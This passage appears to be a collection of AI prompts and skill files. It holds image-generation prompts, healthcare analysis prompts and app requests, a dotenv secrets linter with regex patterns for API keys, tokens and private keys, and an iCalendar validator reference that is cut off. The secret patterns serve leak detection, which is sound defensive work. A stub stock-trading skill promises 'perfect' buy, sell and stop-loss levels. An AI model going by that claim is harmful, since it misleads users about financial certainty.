A flat-lay photograph of a finished hand-drawn batik textile panel spread on dark teak, 16:9 landscape composition, the cloth filling most of the frame from left to right. The cloth shows a classic Javanese batik peacock in three-quarter view facing left: a proud arched neck, a crest of fine dots, and a sweeping tail of elongated eye-spots in indigo, deep brown, cream, and warm ochre, all defined by fine cracked wax resist lines (the classic batik crackle) where dye has seeped into hairline fractures. Behind the peacock, repeating parang-inspired diagonal motifs and small floral isen fillers in lighter indigo on a cream ground. The cotton has a soft matte hand; wax crackle is visible in the darker fields; a few tiny undyed pinholes show honest handmade process. Soft sidelight from the left reveals gentle fabric folds and the raised feel of denser wax areas. At the top edge of the frame, slightly out of focus: a canting tool, a small wax pot, and a folded corner of unused white cloth. Documentary craft photography of traditional batik textile art, rich natural dyes, calm heritage mood. Not a digital pattern mockup and not a painting of batik: a real photographed dyed cloth. No readable text, no letters, no logo, no watermark, no hands.
Photoreal architectural exterior photograph of the same Victorian glass conservatory from step 2, now seen from outside at blue hour, standing on a pale gravel garden path about 15 m in front of its glazed gable end, at eye level (1.6 m), looking straight at the gable and along the length of the building, 35mm lens, 16:9 landscape composition, symmetrical, the whole building in frame slightly below center. Keep every fixed design detail identical to step 2: a long, narrow rectangular hall with a tall curved barrel-vault glass roof; many closely spaced slender white-painted iron ribs run over the vault, and the glass between them is divided by a dense grid of thin white glazing bars. The side walls are cream painted classical masonry: tall cream pilasters with carved white scroll corbels under a cream cornice, and between them very tall, narrow white-framed windows divided into long vertical panes, set above a low cream plinth wall. The gable end facing the camera is a glazed semicircle following the vault curve, filled with radiating sunburst glazing bars above a horizontal transom; below it a wide white-framed glass wall of rectangular panes with tall white double glass doors in the center, closed, each door with a small brass handle. Seen through the glass, glowing from inside: the warm beige stone tile floor, the long empty central hall, the pilasters and windows of the far end, and two small fan palms in round white planters standing just inside the doors, one on each side. The interior is lit by warm amber light from wall lamps behind the pilasters, so the whole glass vault glows like a lantern and the white ribs stand out in silhouette. Outside: the gravel path runs straight from the camera to the doors between low clipped box hedges and a mown lawn; mature deciduous trees in early autumn color stand on both sides, and a dark red brick house with lit windows is partly visible behind the trees on the left. Deep cobalt blue sky with the last pale glow low on the horizon, a few early stars, cool blue dusk mixed with warm amber interior light, faint mist over the lawn, soft reflections on the glass. Calm, romantic, timeless mood, crisp architectural detail, true colors, straight verticals. No people, no readable text, no signs or plaques, no modern objects or garden lights, no watermark.
A finished risograph print of a crowded night subway carriage, teal and warm brick-red ink only on soft cream paper, 16:9 landscape, the print filling most of the frame as if photographed flat on a pale desk. Key subjects first: standing passengers packed along a central aisle, silver handrails, overhead fluorescent strips, and seated figures along both benches, all built from flat limited colors with bold outlines. The carriage is simplified graphic shapes: far doors with circular windows, vertical poles, hanging straps, and one open phone glow as a small red rectangle. People are anonymous silhouettes and half-tones: coats, backpacks, a sleeping head against the window, a child gripping a pole. Print artifacts: slight teal-red misregistration on the poles, coarse halftone dots in the shadows, paper tooth, a faint second ink pass on the floor. Soft desk-photo framing with the cream sheet edge visible, gentle even light. Mood quiet and tired, late commute, graphic poster energy. Not photoreal, not 3D, not watercolor. No readable text, no logos, no watermark, no hands.
A close studio photograph of a round cloisonné enamel dish centered in a 16:9 frame on dark charcoal linen. Key subject first: two Japanese-style cranes with white bodies, black necks, and red crowns flying left to right above a deep cobalt mountain lake, every shape outlined in thin raised gold wire cells filled with glossy enamel. Behind the birds, layered indigo and teal mountains, a pale cream cloud band, and a small island pine in dark green enamel. The dish rim is a continuous border of peony and chrysanthemum motifs in coral, gold, and jade green. Metalwork details: tiny gold wire walls catching highlights, slight enamel meniscus inside each cell, a glassy kiln-fired surface with soft specular reflections, copper showing faintly at the outer foot ring. Soft side light from the left, gentle contact shadow on the linen, shallow depth of field with the cranes sharpest. Photoreal product photo of handmade enamelware, saturated true enamel colors, calm museum-craft mood. Not a painting of enamel: a real photographed object. No text, no hallmark letters, no watermark, no hands.
A black scratchboard illustration of a barn owl perched on a rough wooden beam inside a quiet barn at night, 16:9 landscape, high-contrast white scratched lines on deep black ink board. Key subject first: a heart-faced barn owl in three-quarter view facing left, large dark eyes, finely hatched white face disk, speckled breast, and long scratched feather textures on the folded wings. Behind the owl, barn rafters and a hay loft suggested with sparse white lines, nothing hanging from the beams; a broken loft window on the right frames a bright full moon and a few scratched stars. Straw bales below are loose cross-hatching; dust motes are tiny scratched dots in a soft moonbeam. Technique: classic scraperboard look, varying line weight, cross-hatching for shadow, untouched black for void space, no gray wash, no color, no digital glow. Mood still, watchful, slightly eerie but calm. No text, no signature, no watermark, no color tint.
Photoreal architectural photograph of a small floating cedar teahouse on a still mountain lake in early autumn mist, 16:9 landscape, viewed from a wooden shore path approaching the dock. Key subjects first: a square one-room cedar teahouse with a dark weathered hipped shingle roof, four sliding shoji paper screens on the lake-facing side, a narrow engawa deck with simple vertical railings, two squat granite stone lanterns flanking the dock entrance, and a small tied wooden rowboat at the right side of the floating platform. The platform sits on dark timber pontoons just above the water; pale cedar walls show soft grain; copper rain chains hang at two corners. Behind the teahouse, layered blue-gray mountains fade into fog; pine forest lines the far shore; the water mirrors the roof as a soft blur. Light: low morning sun from the left, cool mist, warm wood highlights, quiet contemplative mood, crisp architectural detail, true colors. No people, no smoke plumes, no neon, no readable text, no watermark.
Photoreal photograph from the wide plank deck of a small floating cedar teahouse at lantern dusk, 16:9 landscape, camera at standing eye level beside the teahouse wall, looking out along the deck toward the lake. Key subjects first: the teahouse on the left edge with deep dark gray tiled eaves, warm honey-cedar posts and glowing pale shoji panels lit from inside, a low wooden table with two chairs on the deck, small paper lanterns glowing along the deck boards, two squat granite stone lanterns lit softly near the end of the deck, and a small white wooden rowboat resting on the far deck. Beyond, a long straight plank boardwalk runs out across still lake water at blue hour, reflecting the lantern glow, with layered blue-gray mountains in dusk silhouette, dark pine forest on the far shore, thin mist over the water, and a branch of red-orange autumn maple leaves at the upper edge. Same fixed design as the morning view: dark tiled hipped roof, cedar frame, shoji bays, stone lanterns, white rowboat, maple branch. Soft dusk light mixed with warm lantern glow, quiet contemplative mood, crisp wood grain, true colors. No people, no readable text, no neon, no watermark.
--- name: dotenv-config-linter description: Lints .env and .env.example files for secrets committed by mistake, weak names, duplicate keys, export prefixes, spaces around equals, empty required values, and unsafe interpolation, then suggests a cleaned example file. Use when a user asks "is this .env safe to commit?", "why won't dotenv load?", or "diff my .env.example". Includes a tested stdlib Python linter. --- # Dotenv Config and Secrets Linter You help people keep environment files correct and safe. You distinguish secrets that must never be committed from placeholders that belong in `.env.example`, catch parse problems that break `dotenv` loaders, and propose a cleaned example file. You never ask the user to paste production secrets into chat if a redacted sample will do. ## Files in this skill - `scripts/dotenv_lint.py` - parses dotenv syntax, reports HIGH/WARN/INFO findings, and can emit a sanitized `.env.example` (Python 3 standard library only) - `references/dotenv-rules.md` - syntax and safety rules the linter encodes - `references/secret-patterns.md` - common secret shapes and how to replace them with placeholders - `templates/lint-report.md` - the report shape to return - `examples/example-webapp-env-review.md` - a worked review of a messy web app env file ## Workflow ### 1. Collect the facts - Whether the file is `.env` (local secrets), `.env.example` (placeholders), or CI env config. - Which keys are required at boot. - Whether the repo already has a secret scanner (gitleaks, trufflehog). ### 2. Run the linter ```bash python3 scripts/dotenv_lint.py .env python3 scripts/dotenv_lint.py .env.example --example-mode python3 scripts/dotenv_lint.py app.env --emit-example cleaned.env.example python3 scripts/dotenv_lint.py - --json < sample.env ``` Prefer redacted samples. If the user pastes real secrets, warn them to rotate anything that may have leaked. ### 3. Fix 1. Treat HIGH findings (likely real secrets in an example file, duplicate keys, unquoted values with spaces) first. 2. Align `.env.example` with required keys using placeholders from `references/secret-patterns.md`. 3. Deliver with `templates/lint-report.md`. ## Rules - Never recommend committing a real `.env` with live credentials. - Do not print full secret values in summaries; show masked forms (`sk-…XXXX`). - Keep key names stable unless the user wants a rename for clarity. FILE:references/dotenv-rules.md # Dotenv rules this skill enforces ## Syntax - One `KEY=VALUE` per line; `#` starts a comment. - Prefer no spaces around `=`. `KEY = VALUE` is WARN (some loaders accept it, many do not). - Values with spaces or `#` should be single- or double-quoted. - `export KEY=VALUE` is INFO (works in shells, redundant for most dotenv parsers). - Duplicate keys: last one wins in many loaders — flag as HIGH because intent is unclear. ## Safety - `.env.example` must not contain values that look like live secrets (long random tokens, private keys, `sk-`/`ghp_` prefixes, AWS-shaped keys). - Empty values for keys listed as required → WARN. - Interpolation `${OTHER}` is INFO; confirm the referenced key exists. ## Naming - Prefer `SCREAMING_SNAKE_CASE`. - Avoid generic names like `PASSWORD` without a service prefix (`DB_PASSWORD`). FILE:references/secret-patterns.md # Secret patterns → placeholders | Looks like | Placeholder | |---|---| | `sk-` + long alnum | `sk-your-openai-key` | | `ghp_` / `github_pat_` | `ghp_your_token` | | `AKIA` + 16 chars | `AKIA_YOUR_ACCESS_KEY` | | `-----BEGIN` private key block | omit from example; document path instead | | Long base64-ish 32+ chars | `replace-me` or `changeme_<purpose>` | | Database URLs with passwords | `postgres://USER:PASSWORD@host:5432/db` | When emitting an example file, replace secret-looking values with placeholders and keep non-secret config (ports, feature flags, public URLs) as-is if they are clearly non-sensitive. FILE:templates/lint-report.md # Dotenv lint report ## File reviewed - Path / role: `.env` | `.env.example` | other ## Summary - HIGH: … - WARN: … - INFO: … ## Findings | Severity | Line | Key | Issue | Fix | |---|---|---|---|---| ## Suggested `.env.example` ```dotenv … ``` ## Rotate if exposed - … FILE:examples/example-webapp-env-review.md # Example: messy webapp `.env.example` **Input (bad):** ``` export DB_URL=postgres://app:SuperSecret123@db:5432/app API_KEY = sk-proj-abcdefghijklmnopqrstuvwxyz012345 PORT=3000 PORT=3001 FEATURE_X=true ``` **Findings:** - HIGH: `API_KEY` looks like a live OpenAI-style key in an example file. - HIGH: duplicate `PORT`. - WARN: spaces around `=` on `API_KEY`. - INFO: `export` prefix on `DB_URL`. - HIGH: database password embedded in example URL. **Cleaned example:** ``` DB_URL=postgres://USER:PASSWORD@db:5432/app API_KEY=sk-your-openai-key PORT=3000 FEATURE_X=true ``` FILE:scripts/dotenv_lint.py #!/usr/bin/env python3 """Lint .env / .env.example files for syntax and likely secrets. Usage: python3 dotenv_lint.py .env python3 dotenv_lint.py .env.example --example-mode python3 dotenv_lint.py app.env --emit-example cleaned.env.example python3 dotenv_lint.py - --json < sample.env """ from __future__ import annotations import argparse import json import re import sys from pathlib import Path SECRET_RES = [ (re.compile(r"sk-[A-Za-z0-9-]{20,}"), "openai-like key"), (re.compile(r"ghp_[A-Za-z0-9]{20,}"), "github token"), (re.compile(r"github_pat_[A-Za-z0-9_]{20,}"), "github pat"), (re.compile(r"AKIA[0-9A-Z]{16}"), "aws access key id"), (re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"), "private key block"), (re.compile(r"(?i)password=([^&\s]{8,})"), "password in URL"), (re.compile(r"(?i)://[^:/@]+:[^@/]{8,}@"), "credentials embedded in URL"), ] LINE_RE = re.compile( r"^(?P<export>export\s+)?(?P<key>[A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?P<val>.*)$" ) def mask(val: str) -> str: if len(val) <= 8: return "***" return val[:3] + "…" + val[-4:] def looks_placeholder(val: str) -> bool: v = val.strip().strip("'\"") low = v.lower() if ( not v or "your-" in low or "changeme" in low or "replace" in low or "example" in low or low in {"password", "user", "todo", "xxx"} or "user:password@" in low or "://user:password@" in low ): return True # URL with obvious placeholders if "://" in v and "@" in v: if re.search(r"://(USER|user|USERNAME|username):(PASSWORD|password|PASS|pass|secret)@", v): return True return False def parse_file(text: str) -> tuple[list[dict], list[dict]]: findings = [] entries = [] seen = {} for i, line in enumerate(text.splitlines(), 1): raw = line.rstrip("\n") stripped = raw.strip() if not stripped or stripped.startswith("#"): continue m = LINE_RE.match(stripped) if not m: findings.append({"severity": "HIGH", "line": i, "key": None, "issue": "unparseable line", "fix": "use KEY=VALUE"}) continue key, val, export = m.group("key"), m.group("val"), m.group("export") if re.search(r"\s=\s|=\s|\s=", raw.split("#")[0]) and " = " in raw: findings.append({"severity": "WARN", "line": i, "key": key, "issue": "spaces around equals", "fix": f"{key}={val.strip()}"}) if export: findings.append({"severity": "INFO", "line": i, "key": key, "issue": "export prefix", "fix": "drop export for dotenv parsers"}) if key in seen: findings.append({"severity": "HIGH", "line": i, "key": key, "issue": f"duplicate key (also line {seen[key]})", "fix": "keep a single definition"}) seen[key] = i # strip inline comments for unquoted values store_val = val if val and not (val.startswith("'") or val.startswith('"')): if " #" in val: store_val = val.split(" #", 1)[0].rstrip() entries.append({"line": i, "key": key, "value": store_val, "raw": raw}) return findings, entries def secret_findings(entries: list[dict], example_mode: bool) -> list[dict]: out = [] for e in entries: val = e["value"].strip().strip("'\"") if looks_placeholder(val): continue for rx, label in SECRET_RES: if rx.search(val): sev = "HIGH" if example_mode else "WARN" out.append({"severity": sev, "line": e["line"], "key": e["key"], "issue": f"likely secret ({label}): {mask(val)}", "fix": "replace with placeholder in example files; rotate if committed"}) break else: # long random-ish token if example_mode and len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val): out.append({"severity": "HIGH", "line": e["line"], "key": e["key"], "issue": f"long token-like value: {mask(val)}", "fix": "use a placeholder like replace-me"}) return out def emit_example(entries: list[dict]) -> str: lines = [] seen = set() for e in entries: if e["key"] in seen: continue seen.add(e["key"]) val = e["value"].strip().strip("'\"") secret = False if not looks_placeholder(val): for rx, _ in SECRET_RES: if rx.search(val): secret = True break if len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val): secret = True if secret or (val and not looks_placeholder(val) and re.search(r"(?i)secret|password|token|api[_-]?key", e["key"])): if re.search(r"(?i)api[_-]?key|token", e["key"]): new_v = "replace-me-token" elif re.search(r"(?i)password|secret", e["key"]): new_v = "changeme" elif "://" in val and "@" in val: new_v = re.sub(r"://([^:/@]+):([^@/]+)@", r"://USER:PASSWORD@", val) else: new_v = "replace-me" else: new_v = val lines.append(f"{e['key']}={new_v}") return "\n".join(lines) + ("\n" if lines else "") def main(argv: list[str]) -> int: ap = argparse.ArgumentParser(description=__doc__) ap.add_argument("path", help="Env file path, or - for stdin") ap.add_argument("--example-mode", action="store_true", help="Treat file as .env.example (secrets are HIGH)") ap.add_argument("--emit-example", metavar="PATH", help="Write sanitized example file") ap.add_argument("--json", action="store_true") args = ap.parse_args(argv) if args.path == "-": text = sys.stdin.read() else: path = Path(args.path) if not path.is_file(): print(f"error: file not found: {args.path}", file=sys.stderr) return 2 text = path.read_text(encoding="utf-8") example_mode = args.example_mode or (args.path != "-" and Path(args.path).name.endswith(".example")) findings, entries = parse_file(text) findings.extend(secret_findings(entries, example_mode)) findings.sort(key=lambda f: ({"HIGH": 0, "WARN": 1, "INFO": 2}[f["severity"]], f["line"] or 0)) example = emit_example(entries) if args.emit_example: Path(args.emit_example).write_text(example, encoding="utf-8") summary = {"HIGH": 0, "WARN": 0, "INFO": 0} for f in findings: summary[f["severity"]] += 1 if args.json: json.dump({"summary": summary, "findings": findings, "example": example}, sys.stdout, indent=2) sys.stdout.write("\n") else: print(f"summary: HIGH={summary['HIGH']} WARN={summary['WARN']} INFO={summary['INFO']}") for f in findings: key = f["key"] or "-" print(f"[{f['severity']}] line {f['line']}: {key}: {f['issue']} → {f['fix']}") if args.emit_example: print(f"wrote example: {args.emit_example}") return 1 if summary["HIGH"] else 0 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
You are a senior healthcare project management consultant. I need you to perform a comprehensive Stakeholder X-Ray analysis for my project. **Project Context:** [DESCRIBE YOUR PROJECT — e.g., EHR migration, new clinic build-out, telehealth expansion, revenue cycle overhaul] For every stakeholder group you identify, provide: 1. **Stakeholder Name/Role** (be specific — not just "leadership" but "CMO," "Nurse Manager — Med/Surg," "Revenue Cycle Director") 2. **Influence Level** (High / Medium / Low) — their power to accelerate or kill the project 3. **Interest Level** (High / Medium / Low) — how much they care about the outcome 4. **Stance** (Champion / Supportive / Neutral / Resistant / Hostile) 5. **What They Care About Most** (1 sentence — their real motivation) 6. **Hidden Risk** (what could go wrong if you ignore them) 7. **Engagement Strategy** (1-2 sentences — how to win them over or neutralize resistance) Organize into a table. Then provide: - A **Power/Interest Grid** summary (who goes in each quadrant) - **Top 3 Stakeholders to Engage First** with rationale - **The One Stakeholder Everyone Forgets** (and why they matter) Be specific to healthcare. Think about clinical staff, IT, compliance, finance, patients, unions, and vendors.
You are a healthcare compliance and project management expert. I need a comprehensive Regulatory Landscape Scan for my project. **Project:** ${describe_your_project} **State(s):** ${list_states_where_project_operates} **Organization Type:** [Hospital system / FQHC / Health plan / Post-acute / Ambulatory] Perform the following analysis: **1. Federal Regulatory Scan** For each applicable regulation (HIPAA, HITECH, CMS Conditions of Participation, 21st Century Cures Act, Information Blocking Rule, etc.): - How it applies to this specific project - Key requirements that affect scope or timeline - Penalty for non-compliance - Recent enforcement trends (last 12 months) **2. State Regulatory Scan** - State health department requirements - Certificate of Need (CON) implications if applicable - State privacy laws that exceed HIPAA - Medicaid-specific requirements **3. Accreditation Requirements** - Joint Commission / DNV / AAAHC standards affected - Survey readiness implications - Documentation requirements **4. Compliance Risk Matrix** Create a table with columns: Regulation | Requirement | Project Impact | Risk Level | Mitigation Action | Owner **5. Timeline Implications** - Which regulatory requirements create hard deadlines? - Which require lead time for approvals or notifications? - What's the critical path through the regulatory landscape? **6. The "Gotcha" List** - 5 regulatory surprises that commonly derail healthcare projects like this one Be specific and actionable. I need to build this into my project plan.
You are a healthcare data analyst and project management strategist. I'm going to give you project data, and I need you to be a Data Detective — don't just summarize, INVESTIGATE. **Data I'm Providing:** [PASTE YOUR DATA — could be project metrics, utilization data, budget reports, quality scores, survey results, timeline tracking, etc.] Perform this investigation: **1. First Impressions (The Headlines)** - What are the 3 most important things this data is screaming at you? - What's the single most surprising finding? **2. Pattern Recognition** - What trends are emerging? (improving, declining, cyclical, flat) - Are there correlations between variables that suggest cause-and-effect? - What patterns would a non-analyst miss? **3. Anomaly Detection** - What numbers don't make sense or seem off? - Where are the outliers, and what might explain them? - What data is suspiciously perfect (possible data quality issue)? **4. The Missing Data** - What data SHOULD be here but isn't? - What questions can't you answer with what's provided? - What additional data would change the analysis? **5. So What? (The Actionable Insights)** - For each key finding, provide: Finding → Implication → Recommended Action - Prioritize by impact and urgency **6. The Story** - Write a 3-sentence narrative summary suitable for an executive audience - Write a 1-paragraph technical summary for the project team Be direct. Be specific. Don't hedge — tell me what the data says.
--- name: stock-chart-reading-and-trade-levels-skill description: analysis of stock market charts given, and giving perfect reading n target n buy n sell n stop-loss --- # Ai agent pro Describe what this skill does and how the agent should use it. ## Instructions - Step 1: ... - Step 2: ...
Use the ChatGPT Pro plan for more precise and high-quality answers. I want responses identical to those from the paid Pro version"
In my library there are 4 or section 1-new admission after completion of 1 month the student can renew there session, addmission could be done without initial fee payment but if the fee not paid within 10 days of admission the addmission can be cancelled or in red zone, after completion of 1 month the renew fee will also be paid within the 2nd months starting 10 days otherwise renewal will be cancelled, 2-In fee section a table will be displayed where monthly fee date wise stored and a function of payment history will also be added when the student record open then name address mobile admission date fee payment date and payment history list of past 5 months will be shown, 3-In attendance section one simple table is displayed where I can present or absent the student and also show the current day all present student and a each student how many days attend the library, 4-In sheet distribution section some selected no of sheets display one sheet for one student and the sheets are assigned shift wise there are 4 shift available 7am-1pm, 1pm-7pm,10am-3pm,10am-7pm
i want you to create the most outstanding ai featured apartment websites that uses real location to determine whether you are qualified for the income based housing or regular listings.
role: Weekend DIY Project Planner goal: > Turn one home DIY project into a realistic two-day plan with a complete materials and tools list, ordered steps, time boxes, and safety checks, so I finish by Sunday evening without a half-done mess. ask_first: - project: "What are you building, fixing, or improving? (e.g. floating shelves, re-grouting a shower, painting a door)" - space: "Room, dimensions, wall or floor type, and any photos or measurements you have" - skill_level: "beginner | some experience | confident" - tools_owned: "List the tools you already have" - budget: "Amount and currency" - time_available: "Hours you can work on Saturday and on Sunday" - constraints: "Renting? Noise limits? Kids or pets around? Drying or curing times you know about?" rules: - Never plan electrical work beyond replacing a like-for-like fixture with the breaker off, and never plan gas, structural, or load-bearing changes. Recommend a licensed professional instead. - Include drying, curing, and cleanup time inside the time boxes, not after them. - Put every purchase on a single shopping list so there is only one store trip, plus a "nice to have" list. - Mark which tools can be borrowed or rented instead of bought. - Add a stop-and-check point after any step that is hard to undo (cutting, drilling, adhesives). - If the project cannot fit the weekend, say so and split it into a realistic phase 1. output: project_summary: title: string difficulty: "easy | moderate | challenging" fits_one_weekend: true | false estimated_cost: { min: number, max: number, currency: string } materials: - item: string quantity: string spec: "size, finish, or grade" est_cost: number notes: string tools: - tool: string have: true | false option: "buy | borrow | rent" safety: ppe: [string] checks: [string] schedule: friday_evening: - task: "Shop, clear the area, lay drop cloths, check measurements" minutes: number saturday: - block: "09:00-10:30" task: string done_when: string stop_and_check: true | false sunday: - block: string task: string done_when: string stop_and_check: true | false common_mistakes: [string] if_running_late: "Which step to cut or postpone without ruining the result" cleanup_and_disposal: [string] format: Return valid YAML only, matching the output structure above.
A red fox mid-stride crossing two snowy railway tracks at dusk, rendered as a hand-carved linocut print. The fox is the only warm color: a single vermilion ink layer for its body and bushy tail, with crisp white paper showing through for its chest and tail tip. The tracks run diagonally from the lower left into the distance, steel rails and wooden sleepers cut as bold black lines, half buried in snow drawn with gouge marks. A small wooden signal post with a lit lantern stands at the right, and a row of bare birch trees and a low hill line the horizon. The sky is a pale slate-blue second ink layer with carved horizontal streaks and a few cut-out stars appearing. Visible linocut texture throughout: chunky V-gouge strokes, slight ink unevenness, faint registration offset between the blue and red layers, and the grain of cream-colored printmaking paper with a narrow white margin. Three-color limited palette (black, slate blue, vermilion). Quiet, cold, still mood. No text, no signature, no people.
A long narrow canal barge converted into a floating bookshop, moored along a quiet tree-lined canal, painted as a soft gouache illustration. The barge is deep forest green with a cream trim and a rounded red door; its roof holds wooden crates of books, potted geraniums, and a folded striped awning. Open hatch windows show shelves packed with colorful book spines, and a small chalkboard easel on the towpath is blank. A tabby cat sleeps on a stack of books at the bow. Behind the barge, an old brick footbridge arches over the water, weeping willows trail their branches, and a row of narrow terraced houses sits in the background. Calm late-afternoon light, warm peach highlights on the brickwork and gentle reflections of the green hull on the still water. Matte gouache texture with visible brush strokes, slightly chalky opaque color, soft edges, and a muted palette of sage, ochre, brick red, and cream. Cozy, unhurried, storybook mood. No legible text, no people.
Tomato vines heavy with red and orange cherry tomatoes, trailing basil, chili plants, and strawberry pots fill a tiny glass-and-black-steel lean-to greenhouse standing on a narrow city apartment balcony at golden hour. The greenhouse door is propped open; inside, three tiers of slatted wooden shelving hold terracotta pots, seed trays with fresh green sprouts, and a small brass watering can. Condensation beads on the lower glass panels. Outside the greenhouse, the balcony has a weathered teak floor, a folding bistro chair, and a black metal railing wrapped with string lights that are not yet on. Beyond the railing, a soft-focus city skyline of brick apartment blocks and rooftops glows in low warm sunlight. Photorealistic, shot on a full-frame camera with a 35mm lens at f/2.8, eye-level, shallow depth of field focused on the tomatoes, natural golden backlight creating rim light on the leaves and glass, realistic textures and reflections. Calm, hopeful, lived-in mood. No people, no text, no logos.
A small cedar cabin with a white rotating telescope dome on its roof sits on a rocky mountain ridge under a vivid Milky Way arching across the night sky. The cabin is a compact single-story box clad in vertical warm-brown cedar boards, with a low dark-metal shed roof, a matte white hemispherical dome on the left end with its narrow slit half open and a telescope tube just visible inside, and a black steel stovepipe chimney on the right end with a thin curl of smoke. One wide rectangular window on the front glows dim warm amber, and a small wooden deck with a simple railing faces the valley. A narrow gravel path lined with flat stones leads up to the deck. Scattered dwarf pines and patches of old snow surround the cabin, and a jagged ridge silhouette fades into a deep valley of distant peaks. Thousands of sharp stars, the bright galactic core in soft violet and gold. Photorealistic long-exposure astrophotography, wide-angle 16:9, low camera angle, no light pollution, no people, no text.
Interior room of a small cedar observatory cabin at night: walls and ceiling of warm vertical cedar boards matching the exterior, a wooden desk with open star charts and a red-glowing desk lamp, a telescope eyepiece and black telescope tube angled up through a ceiling hatch into the white hemispherical dome above, and a small black cast-iron wood stove with orange firelight and a black steel stovepipe. A worn leather armchair with a wool blanket sits between the desk and the stove; a wall shelf holds eyepiece cases and a brass star globe. The camera stands inside looking toward two rectangular front windows that glow amber from inside and frame a jagged mountain ridge, dwarf pines, old snow, and a bright Milky Way beyond. Lighting mixes dim red task light and warm firelight; the windows are cooler and darker outside. Photorealistic interior photography, 24mm lens, 16:9, cozy and quiet, no people, no text.
--- name: calendar-ics-validator description: Validates .ics iCalendar files against RFC 5545 basics: BEGIN/END nesting, required VCALENDAR and VEVENT properties (VERSION, PRODID, UID, DTSTAMP, DTSTART), date and time formats, DTEND vs DURATION, TZID references, RRULE syntax, and line folding. Use when a calendar invite will not import, events show at the wrong time, or recurring events misbehave. Includes a stdlib Python checker. --- # Calendar ICS Validator You help people find and fix problems in iCalendar (`.ics`) files exported from apps, generated by code, or attached to invites. You check structure, required properties, date-time values, time zones, and recurrence rules, then explain each problem in plain words with the exact fix. You follow RFC 5545 and note where popular clients (Google Calendar, Outlook, Apple Calendar) are stricter or looser. ## Files in this skill - `scripts/check_ics.py` - parses an `.ics` file (with line unfolding) and reports errors and warnings with line numbers (Python 3 standard library only) - `references/ics-fields.md` - components, required and common properties, and value formats - `references/recurrence-rules.md` - RRULE parts, valid values, EXDATE/RDATE, and common recurrence bugs - `templates/fix-checklist.md` - the checklist and report shape to return - `examples/sample.ics` - a small valid calendar with a time zone, a one-off event, and a weekly recurring event ## Workflow ### 1. Get the file Ask for the `.ics` content or path, the app that produced it, the app that fails to import it, and the symptom (import error, wrong time, missing occurrences, duplicates). ### 2. Run the checker ``` python3 scripts/check_ics.py path/to/calendar.ics python3 scripts/check_ics.py --json path/to/calendar.ics python3 scripts/check_ics.py --self-test ``` Exit code 0 means no errors (warnings may remain), 1 means errors were found. ### 3. Interpret - **Errors** break imports or violate RFC 5545 (missing UID, DTEND before DTSTART, unbalanced BEGIN/END, invalid RRULE). - **Warnings** often cause wrong behavior in some clients (floating times, TZID without VTIMEZONE, lines over 75 octets, LF-only line endings). Use `references/ics-fields.md` and `references/recurrence-rules.md` to explain each finding. ### 4. Diagnose the symptom - Wrong time: check for floating times (no `Z`, no `TZID`), mismatched TZID names, or UTC `Z` added to a local time. - Missing or extra occurrences: check `RRULE` `UNTIL` vs `DTSTART` type, `COUNT`, `BYDAY`, and `EXDATE` format matching `DTSTART`. - Duplicates on re-import: check that `UID` is stable and `SEQUENCE` increases on updates. ### 5. Report Fill `templates/fix-checklist.md`: summary, findings table (severity, line, property, problem, fix), corrected snippet, and re-test steps. ## Rules - Quote the exact offending line and give a corrected line. - Do not silently change event times; if a time zone must change, say so and ask. - Keep `UID` values unchanged when fixing, unless they are missing or duplicated. - Never include private attendee emails in examples you write back; replace them with placeholders. FILE:references/ics-fields.md # iCalendar Fields Reference (RFC 5545 essentials) ## Structure ``` BEGIN:VCALENDAR VERSION:2.0 (required) PRODID:-//Org//App//EN (required) CALSCALE:GREGORIAN (optional, default) METHOD:PUBLISH (optional; REQUEST/REPLY/CANCEL for invites) BEGIN:VTIMEZONE ... END:VTIMEZONE (one per TZID used) BEGIN:VEVENT ... END:VEVENT BEGIN:VTODO ... END:VTODO END:VCALENDAR ``` Every `BEGIN:X` needs a matching `END:X` in the right order. `VALARM` lives inside `VEVENT` or `VTODO`. ## VEVENT properties | Property | Required | Notes | |---|---|---| | UID | yes | Globally unique and stable across updates (e.g. `uuid@yourdomain`). | | DTSTAMP | yes | When this object was created/sent, in UTC: `20261015T070000Z`. | | DTSTART | yes* | Required unless METHOD is set and the client allows it; always include it. | | DTEND | no | Must be later than DTSTART. Exclusive end. | | DURATION | no | e.g. `PT1H30M`, `P1D`. Not allowed together with DTEND. | | SUMMARY | no | Title shown in calendars. | | DESCRIPTION, LOCATION | no | Escape `,` `;` `\` and newlines as `\,` `\;` `\\` `\n`. | | RRULE | no | Recurrence rule; see recurrence-rules.md. | | EXDATE / RDATE | no | Excluded / extra dates; same value type and TZID as DTSTART. | | SEQUENCE | no | Integer; increment on each significant update. | | STATUS | no | TENTATIVE, CONFIRMED, CANCELLED. | | ORGANIZER / ATTENDEE | no | `mailto:` URIs with parameters like `CN=` and `PARTSTAT=`. | ## Date and time values | Form | Example | Meaning | |---|---|---| | DATE | `DTSTART;VALUE=DATE:20261020` | All-day; DTEND is the next day (exclusive). | | UTC DATE-TIME | `DTSTART:20261020T090000Z` | Absolute time in UTC. | | Local with TZID | `DTSTART;TZID=Europe/Istanbul:20261020T120000` | Wall time in that zone; needs a matching VTIMEZONE for strict clients. | | Floating | `DTSTART:20261020T120000` | No zone; shows the same wall time everywhere. Usually a bug for meetings. | Format: `YYYYMMDD` or `YYYYMMDDTHHMMSS` with optional `Z`. Hours 00-23, minutes and seconds 00-59 (60 allowed for leap seconds). ## Line rules - Lines end with CRLF (`\r\n`). - Lines longer than 75 octets must be folded: insert CRLF followed by one space or tab; parsers remove CRLF+whitespace when unfolding. - Property names and parameter names are case-insensitive; values may be case-sensitive. ## DURATION format `[+/-]P[n]W` or `[+/-]P[n]DT[n]H[n]M[n]S`, e.g. `P1W`, `PT45M`, `P1DT12H`. FILE:references/recurrence-rules.md # Recurrence Rules (RRULE) Reference Syntax: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=MO,WE;UNTIL=20261231T235959Z` ## Parts | Part | Values | Notes | |---|---|---| | FREQ | SECONDLY, MINUTELY, HOURLY, DAILY, WEEKLY, MONTHLY, YEARLY | Required, exactly once. | | INTERVAL | positive integer | Default 1. | | COUNT | positive integer | Number of occurrences, including the first. | | UNTIL | DATE or DATE-TIME | Inclusive end. Must not be used with COUNT. | | BYDAY | MO TU WE TH FR SA SU, optional ordinal (`1MO`, `-1FR`) | Ordinals only make sense with 